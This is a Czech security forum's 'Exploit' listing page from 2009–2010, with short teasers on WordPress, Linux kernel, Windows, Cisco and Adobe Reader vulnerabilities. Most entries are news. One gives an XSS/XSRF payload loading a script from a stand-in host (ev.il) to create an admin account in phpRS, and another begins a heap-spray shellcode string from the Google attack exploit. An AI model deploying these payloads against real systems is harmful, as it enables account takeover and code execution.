Exploit

Zdrojové kódy zajímavých exploitů

WordPress obsahuje závažnou chybu umožňující DoS

Vložil/a RubberDuck, 21 Říjen, 2009 - 10:25

Před pár dny se objevila advisorka popisující závažnou bezpečnostní chybu v CMS WordPress umožňující utoč DoS útok na server a jeho následné vytížení a nedostupnost.

Zdroj:

phpRS 2.8.1a XSRF POC EXPLOIT

Vložil/a 4194, 29 Leden, 2010 - 12:20

PHPRS 2.8.1A XSRF POC EXPLOIT
VULN: REGISTRATION (readers.php), INPUTS ‘rcelejmeno’ && ‘rmail’
VALUE: “-</td><script src=http://ev.il/xpl.js />”
AUTHOR: 4194
EXPLOIT_DESCRIPTION: creating new admin account

Exploit použitý k útoku na korporátní síť Googlu

Vložil/a cm3l1k1, 28 Leden, 2010 - 17:48

UPDATE

<html><script>
var sc = unescape("
%u9090%u19eb%u4b5b%u3390%u90c9%u7b80%ue901%u0175%u66c3%u7bb9%u8004%u0b34%ue2d8%uebfa%ue805

Chyba zneužitelná od Windows NT 3.1 až po Windows 7 (Ring 0 Escalation Vulnerability)

Vložil/a cm3l1k1, 21 Leden, 2010 - 13:58

Na Internetu se objevil exploit umožňující eskalaci oprávnění díky kódu, který je ve Windows od roku 1993.

Twitter pod útokem iránských hackerů

Vložil/a infinity, 18 Prosinec, 2009 - 17:36

... na Twitter byly během včerejšího dne vedeny hackerské útoky, ke kterým se přihlásila skupina „Iranian Cyber Army“ (Íránská kyberarmáda).

Linux Kernel 2.x sock_sendpage()

Vložil/a czYber ph0enix, 15 Srpen, 2009 - 11:43

A máme tu další lokální exploit pro Linux.

Linux 2.6.30+ Local Kernel Exploit 0day - disabling SELinux, AppArmor and LSM

Vložil/a cm3l1k1, 11 Srpen, 2009 - 17:29

jj asi bude Grsecurity dobrá volba :o)

Souhrn Cisco IOS zranitelností

Vložil/a cm3l1k1, 27 Duben, 2009 - 16:39

Cisco vydalo souhrn osmi zranitelností v IOS software, ke kterým přidalo popis chyby a metodu prevence/opatchování.

Individual publication links are listed below:

Linux Kernel Local Privilege Escalation Exploit

Vložil/a RubberDuck, 9 Duben, 2009 - 16:18

Milen Rangelov, vystupující pod pseudonymem gat3way, zveřejnil exploit umožňující utočníkovi v Linuxu lokální navýšení práv. Zasažena jsou jádra ve verzi 2.6.29 a nižší.

Kritická chyba v Adobe Readeru se 'toulá' Internetem

Vložil/a RubberDuck, 22 Únor, 2009 - 14:15

Kritická chyba v Adobe Readeru umožňující na počítači oběti spustit libovolný JavaScriptový kód se síří Internetem. Zasaženy jsou verze 7.x a vyšší.

Syndikovat obsah